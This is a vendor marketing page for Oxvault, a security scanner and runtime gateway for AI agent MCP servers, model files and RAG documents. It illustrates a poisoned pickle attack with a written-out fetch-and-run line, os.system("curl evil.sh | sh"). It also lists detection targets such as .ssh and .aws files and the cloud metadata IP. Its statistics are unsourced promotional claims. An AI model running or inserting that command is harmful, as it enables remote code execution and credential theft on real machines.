AI Supply Chain Security for the Agentic Era
Your AI agents load MCP servers, ML models, and RAG corpora — every one of them is untrusted code or data. Oxvault scans before they load and protects them at runtime. Single binary. Zero telemetry. No account.
Aligned with
What We Scan
Three artifacts. One engine.
Your agents don't just talk to LLMs — they load tools, weights, and documents. Each is an attack surface. We cover all three with the same deterministic scanner.
MCP Servers
Static + runtime security for MCP server code, tool descriptions, and JSON-RPC traffic.
- ✓12/12 known MCP CVEs detected
- ✓Tool description poisoning
- ✓Install hook detection
- ✓Supply chain audit
ML Models
Pickle is a remote shell. 23% of top HF models have been compromised. We disassemble opcodes without executing — and verify provenance.
- ✓Pickle opcode disassembly (no exec, CWE-502)
- ✓ONNX protobuf integrity + custom-op allowlist
- ✓Safetensors header overflow detection
- ✓Sigstore + OpenSSF Model Signing verification
- ✓Model card prompt injection (same engine as MCP)
- ✓Hugging Face resolver (oxvault scan hf:org/model)
RAG Pipelines
Inspect documents and embeddings for indirect prompt injection and retrieval-time attacks.
- ✓Embedding poisoning detection
- ✓Indirect prompt injection
- ✓Vector store integrity
- ✓Retrieval anomaly alerts

Live model scan in action
Pickle is a remote shell. We disassemble opcodes, verify Sigstore signatures, and check model cards for prompt injection — all without ever calling pickle.load.
Real Scenario
A poisoned model on Hugging Face. With and without Oxvault.
Pickle-based RCE in ML models is a documented attack class. 23% of top-1000 Hugging Face models have been compromised at some point. Here is how a typical incident plays out.
- 1
Researcher uploads model to Hugging Face
Pickle file embeds
os.system("curl evil.sh | sh")via __reduce__ exploit - 2
10K developers run
from_pretrained()Pickle deserializes → backdoor executes silently on each machine
- 3
Snyk and dependency scanners miss it
Traditional SAST cannot read pickle bytecode. HuggingFace picklescan not run by default.
- 4
Backdoor stays hidden for weeks
Discovered only after network egress flagged. By then: AWS keys exfiltrated, models tampered, audit nightmare.
- 1
Dev runs
oxvault scan hf:org/modelOr scanner runs in CI on every PR that adds a new model
- 2
Pickle disassembly (no execution)
GLOBAL opcode references
os.system→ CRITICAL flagged. CWE-502. - 3
CI fails. Slack alert fires. Dashboard updates.
PR blocked. Security team triages. CISO sees it on the posture board.
- 4
Model never loads. Backdoor never runs.
Total time from scan to block: under 30 seconds. Total cost: $0 if Free tier, $29/mo if Pro.
This is one of three artifact classes. MCP servers, ML models, and RAG corpora all have the same shape of supply-chain risk. Same scanner. Same gateway. Same dashboard. Same engine.
Platform Architecture
CLI everywhere. One control plane.
Agents run locally — on dev laptops, in CI, in production. Findings stream to a central dashboard you opt into. Or self-host the whole stack air-gapped.
Local + CI/CD
Single Go binary on dev laptops, GitHub Actions, GitLab runners, production servers.
oxvault scan oxvault gateway scan-action@v1 Oxvault API
Multi-tenant Go service. Stores findings, events, policies. Pushes alerts.
Web App
React app for security teams + CISOs. Posture, findings, audit, policies.
How Oxvault Works
Two products. One model.
The Scanner inspects artifacts before they load — source code, model weights, retrieval corpora. The Gateway proxies every tool call your agent makes at runtime. Every event is audit-logged.
Scanner — static analysis
85+ rules across MCP servers, ML models, and RAG documents. Pickle disassembly, ONNX validation, Sigstore verification, source SAST, credential detection.
Gateway — runtime proxy
Wraps your MCP clients. Every JSON-RPC call inspected. Shell injection, SSRF, credential theft, and rug-pulls blocked before execution.
Audit — full trail
Every tool call, every argument, every response logged with timestamps. Know exactly what your agents touched and when.

See how Oxvault protects your agent
Every tool call flows through the gateway. Safe calls pass through. Attacks get blocked.
Why Local-First
Security tools shouldn't phone home.
Cloud-based AI security platforms see everything you scan. We see nothing. Your code, your weights, your traffic stay on your machine.
No cloud, no telemetry
Single Go binary runs entirely on your machine. Your code, your models, your traffic — none of it leaves your network.
No account required
Install with one curl command and scan. No signup, no email gate, no usage limits. Apache 2.0 licensed.
Standards-aligned
OpenSSF Model Signing, Sigstore, CycloneDX AIBOM, EU AI Act, NSA AI Supply Chain guidance. Conformant by design.
OSS core, paid runtime
Scanner is free forever. Pro adds runtime gateway, priority rules, and audit logging — for individuals and teams.
MCP Detections — Shipping Today
Real vulnerabilities in production servers
135 confirmed critical findings from scanning 141 MCP servers. 93% precision, near-zero false positives. Model and RAG detections follow the same depth.
Command Injection
Blocks shell metacharacters, execSync with user input, os.system() calls. Found in Cloudflare, AWS, Microsoft, Desktop Commander.
Credential Theft
Detects hardcoded AWS keys, API tokens, private keys, Bearer tokens. Blocks policy violations targeting .ssh, .aws, .env files.
Tool Description Poisoning
Catches hidden instruction tags, unicode steganography, BiDi overrides, secrecy instructions, and cross-tool exfiltration patterns.
SSRF & Path Traversal
Blocks metadata IP access (169.254.169.254), RFC 1918 ranges, and ../ path sequences.
Rug Pull Detection
Tool descriptions are SHA-256 hashed at startup. Any mid-session change is flagged immediately. No other scanner does this.
Response Leakage
Scans server responses for AWS keys, GitHub PATs, private keys, JWTs, database connection strings.
Get protected in 3 steps
Single binary, zero dependencies. Install and scan any AI artifact in 30 seconds.
Run the scanner on any AI artifact before installing — MCP servers today, ML models in v0.4, RAG corpora next. 85+ rules check source code, tool descriptions, model weights, and credentials.
One command wraps all your MCP clients. Every tool call and every response inspected in real time. Injections blocked, credentials caught, exfiltration stopped.
Full audit trail of everything your AI agents do. See what was forwarded, what was blocked, and what triggered alerts — complete visibility.
